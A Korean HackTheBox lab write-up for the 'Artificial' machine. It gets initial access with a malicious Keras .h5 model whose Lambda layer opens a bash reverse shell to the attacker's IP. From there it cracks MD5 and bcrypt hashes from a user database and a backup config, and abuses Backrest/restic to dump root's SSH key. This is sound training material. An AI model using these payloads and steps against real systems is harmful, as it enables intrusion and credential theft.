HackTheBox Labs Writeup - Artificial

HackTheBox Labs Writeup - Artificial

이 글은 HackTheBox 의 Easy 난이도 머신인 Artificial 에 대한 Writeup이다.

![Artificial 머신 정보]

  • 공격 대상 IP : 10.129.30.253
  • 도메인 : artificial.htb
  • Local IP : 10.10.16.232

1. User Flag

1.1 포트 스캔

먼저 nmap 으로 열려 있는 포트를 확인한다.

$ sudo nmap -p- -sV -sC -Pn 10.129.30.253

스캔 결과 22번 SSH 포트와 80번 HTTP 포트가 열린 것을 확인할 수 있다.

22/tcp open  ssh   OpenSSH 8.2p1 Ubuntu
80/tcp open  http  nginx 1.18.0

80번 포트로 접근하면 artificial.htb 도메인으로 리다이렉트된다. /etc/hosts 에 대상 IP와 도메인을 추가한다.

$ echo '10.129.30.253 artificial.htb' | sudo tee -a /etc/hosts

1.2 웹 서비스 탐색

브라우저로 artificial.htb 에 접속하면 로그인 페이지가 나타난다. 회원가입 기능이 존재하므로 새 계정을 생성한 뒤 로그인한다.

회원가입 페이지

로그인 후 대시보드에 접근하면 .h5 모델 파일을 업로드할 수 있는 기능이 있다. 페이지에서는 모델 실행 환경과 관련된 TensorFlow 요구사항도 확인할 수 있다.

tensorflow-cpu==2.13.1
requirement.txt 데이터

제공된 Dockerfile 을 보면 서버가 기대하는 TensorFlow 환경을 맞출 수 있다.

FROM python:3.8-slim
... 중략 ...
RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.whl

즉 이 서비스는 사용자가 업로드한 Keras/TensorFlow 모델을 서버에서 로딩하거나 실행하는 구조로 보인다. 만약 모델 로딩 또는 실행 과정에서 임의 코드가 실행되도록 만들 수 있다면, 서버 권한으로 명령을 실행할 수 있다.

1.3 악성 Keras 모델 생성

먼저 서버와 동일한 TensorFlow 환경을 만들기 위해 Docker 이미지를 빌드한다. 앞서 업로드 페이지에서 다운로드한 파일을 Dockerfile.remote 로 저장해서 생성했다.

$ docker build -t artificial-tf -f Dockerfile.remote .

이후 Keras 모델의 Lambda 레이어를 이용해 모델 실행 시 리버스 쉘 명령이 실행되도록 .h5 파일을 생성한다. models 폴더 밑에 아래와 같은 make_model.py 파일을 생성했다. 리버스셸 대상인 Local IP와 포트 정보는 적절하게 수정해야 한다.

import tensorflow as tf
from tensorflow import keras
from tensorflow.keras import layers

def exploit(x):
    import os
    os.system("bash -c 'bash -i >& /dev/tcp/10.10.16.232/4444 0>&1'")
    return x

inp = keras.Input(shape=(1,), name="input")
out = layers.Lambda(exploit, name="lambda")(inp)
model = keras.Model(inp, out)
model.compile(optimizer="adam", loss="mse")
model.save("/out/revshell.h5")

위 스크립트를 컨테이너 안에서 실행해 악성 모델 파일을 생성한다.

$ mkdir -p models
$ sudo docker run --rm --entrypoint python3 -v "$PWD/models:/out" artificial-tf /out/make_model.py
악성 모델 생성 결과

1.4 모델 업로드 및 초기 쉘 획득

로컬 머신에서는 먼저 리버스 쉘을 받을 리스너를 실행한다.

$ nc -lvnp 4444

그 다음 웹 페이지에서 생성한 .h5 모델 파일을 업로드하고 View Predictions 버튼을 클릭한다.

모델 업로드 결과

모델이 서버에서 실행되면 리버스 쉘이 연결되고 app 권한의 쉘을 얻을 수 있다.

app@artificial:~/app$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)

1.5 SQLite DB 확인 및 gael 계정 획득

app.py 파일의 웹 애플리케이션 소스 코드를 확인하면 SQLite 데이터베이스와 패스워드 해시 로직을 찾을 수 있다.

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'

def hash(password):
    password = password.encode()
    hash = hashlib.md5(password).hexdigest()
    return hash

패스워드가 단순 MD5로 저장되므로 데이터베이스를 읽을 수 있다면 크래킹이 가능하다. users.db 파일에서 사용자 목록을 조회한다.

app@artificial:~/app$ sqlite3 /home/app/app/instance/users.db 'select id,username,email,password from user;'
<s.db 'select id,username,email,password from user;'
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|moonding|moonding@gmail.com|3fd131d218d9df246620069c6b51716b

조회 결과 gael 유저의 MD5 패스워드 해시를 확인할 수 있다. 이를 rockyou 워드리스트로 크래킹한다.

$ hashcat -m 0 c99175974b6e192936d97224638a34f8 /home/kali/Desktop/SecLists-master/Passwords/Leaked-Databases/rockyou.txt

크래킹 결과 gael 계정의 비밀번호를 얻을 수 있다.

gael / mattp005numbertwo

이 인증 정보로 SSH 접속을 시도한다.

$ ssh gael@artificial.htb

gael 유저로 접속하면 홈 디렉터리에서 User Flag를 확인할 수 있다. 플래그 값은 글에 직접 적지 않는다.

gael@artificial:~$ cat user.txt

2. Root Flag

2.1 sysadm 그룹과 백업 파일 확인

gael 유저의 권한을 확인하면 sysadm 그룹에 포함되어 있다.

gael@artificial:~$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)

sysadm 그룹으로 읽을 수 있는 파일을 찾으면 /var/backups/backrest_backup.tar.gz 파일을 발견할 수 있다.

$ find / -group sysadm -ls 2>/dev/null
   293066  51132 -rw-r-----   1 root     sysadm   52357120 Mar  4  2025 /var/backups/backrest_backup.tar.gz

해당 파일을 로컬로 가져와 분석한다.

$ scp gael@artificial.htb:/var/backups/backrest_backup.tar.gz backrest_backup.tar.gz

파일 확장자는 .tar.gz 이지만 실제로 확인해보면 gzip 압축 파일이 아니라 일반 tar 아카이브다.

$ file backrest_backup.tar.gz
backrest_backup.tar.gz: POSIX tar archive (GNU)

압축을 해제한다.

$ mkdir backrest_extracted
$ tar -xf backrest_backup.tar.gz -C backrest_extracted

2.2 Backrest 설정 파일에서 인증 정보 추출

압축 해제 후 Backrest 설정 파일을 확인하면 backrest_root 계정의 패스워드 해시가 저장되어 있다.

$ cat backrest_extracted/backrest/.config/backrest/config.json
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}

passwordBcrypt 라는 이름이지만 값은 Base64로 인코딩된 bcrypt 해시다. 먼저 Base64 디코딩을 수행한다.

$ python3 - <<'PY'
import base64
s = "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
print(base64.b64decode(s).decode())
PY

이후 bcrypt 해시를 hashcat 으로 크래킹한다.

$ hashcat -m 3200 '$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO' /home/kali/Desktop/SecLists-master/Passwords/Leaked-Databases/rockyou.txt

크래킹 결과 Backrest 웹 UI에 사용할 수 있는 인증 정보를 얻을 수 있다.

backrest_root / !@#$%^

2.3 Backrest 로컬 서비스 접근

대상 머신에서 열려 있는 포트를 확인하면 9898번 포트가 로컬 호스트에서만 리스닝 중인 것을 확인할 수 있다.

gael@artificial:~$ netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9898          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -               
tcp  0  0 127.0.0.1:9898  0.0.0.0:*  LISTEN

SSH 포트 포워딩을 이용해 로컬에서 Backrest 웹 UI에 접근한다.

$ ssh -L 9898:localhost:9898 gael@artificial.htb

브라우저에서 http://127.0.0.1:9898 로 접속하면 Backrest 로그인 화면이 나타난다. 앞서 크래킹한 backrest_root 계정으로 로그인한다.

Backrest 페이지

2.4 restic 기능을 이용한 root 파일 접근

Backrest 는 restic 기반 백업 관리 웹 UI다. 로그인 후 repository 를 추가하고 명령 실행 기능을 사용하면 백업, 스냅샷 조회, 파일 덤프 같은 restic 명령을 실행할 수 있다.

Add repo 를 클릭해 새 저장소를 생성한다. URL 값을 /tmp 로 설정한다.

저장소 생성 창

새로 생성된 저장소로 들어가 Run Command 를 클릭한다.

여기서는 root 권한으로 접근 가능한 경로를 백업한 뒤, 스냅샷을 확인하고 필요한 파일을 덤프하는 방식으로 root 권한 파일에 접근할 수 있다.

backup /root/.ssh/
snapshots
ls <snapshot_id>
dump <snapshot_id> /root/.ssh/id_rsa
snapshots 명령어 실행 결과

덤프한 SSH 개인키를 로컬 파일로 저장하고 권한을 조정한다.

$ chmod 600 ./id_rsa

이후 해당 키를 이용해 root 계정으로 SSH 접속한다.

$ ssh root@artificial.htb -i id_rsa

root 쉘을 얻으면 Root Flag를 확인할 수 있다.

root@artificial:~# cat /root/root.txt